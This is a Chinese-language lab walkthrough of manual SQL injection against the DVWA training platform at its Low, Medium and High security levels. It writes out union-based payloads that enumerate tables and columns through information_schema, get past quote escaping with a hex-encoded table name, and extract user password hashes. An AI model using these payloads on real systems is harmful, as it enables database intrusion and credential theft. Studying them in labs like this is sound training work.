SQL回显

DVWA-SQL注入

DVWA是一个基于PHP和MySQL开发的漏洞测试平台

测试环境

应用程序: phpStudy(apache，php，mysql)

测试程序: firefox， new hacker， burpsuite，sqlmap，中国菜刀

一、 SQL注入

SQL注入是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到恶意SQL语句的目的。

二、 手工注入常规思路

1.判断是否存在注入，注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定回显位置

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.得到数据

三、DVWA注入分析

先将DVWA的级别设置为LOW

2. 判断sql是否存在注入，以及注入的类型。1’and ’1’=’1

3. 猜测SQL查询语句中的字段数，1’order by 1#

1’order by 2#

1’order by 3#

从上面两个图可以看出，SQL语句查询的表字段数是2，确定显示的位置（SQL语句查询之后的回显位置）

1’union select 1,2# 从下图中可以看到有两个回显

查询当前的数据库，以及版本

1’union select version(),database() #

获取数据库中的表，1’union select 1，group_concat(table_name) from information_schema.tables where table_schema=database ()#

获取表中的字段名，1’union select 1，group_concat(column_name) from information_schema.columns where table_name=’users’#

获取字段中的数据，1’union select user,password from users#

将DVWA的级别设置为Medium

中级加入了一些防御，不让用户输入，只提供选择（可用burpsuit抓包来绕过），分析源码可以看到对参数的使用mysql_real_escape_string函数转义sql语句中的一些特殊字符，查看sql查询语句可以看出可能存在数字型sql注入。

通过burpsuit抓包，修改数据包，绕过防御。判断注入点，以及注入的类型，下图可以看到，存在注入，注入类型是数字型注入。1 and 1=1#

猜解sql查询语句中的字段的个数，测试字段个数1，1 order by
1#

测试字段个数2，1 order by 2#

测试字段个数3，1 order by 3#。返回错误页面，所以字段数为2

确定回显的位置，下图可以说明有2个回显位置，1 union select 1,2#

获取当前数据库的名称以及版本，
union select database(), version()#

获取数据库中的所有表，1 union select 1, group_ concat (table_ name) frominformation_ schema. tables where table_ schema=database()#

获取表中的所有字段名，考虑到单引号被转义，可以利用16 进制进行绕过。1union select 1, group_ concat (column_ name) from information_ schema. col umnswhere table_ name=0x7573657273#

获取字段中的数据，1union se lect user, password from users#

将DVWA的级别设置为High

将dvwa设置为高级，可以看出，点击”here to change your ID”，页面自动跳转，防御了自动化的SQL注入，分析源码可以看到，对参数没有做防御，在sql查询语句中限制了查询条数，可以通过burpsuit抓包，修改数据包实现绕过。

点开链接显示下图

发送1

查看源码

获得密码，1’ union select user, password from users#

将DVWA的级别设置为Impossible,分析源码可以看到使用了PD0技术，杜绝了SQL注入。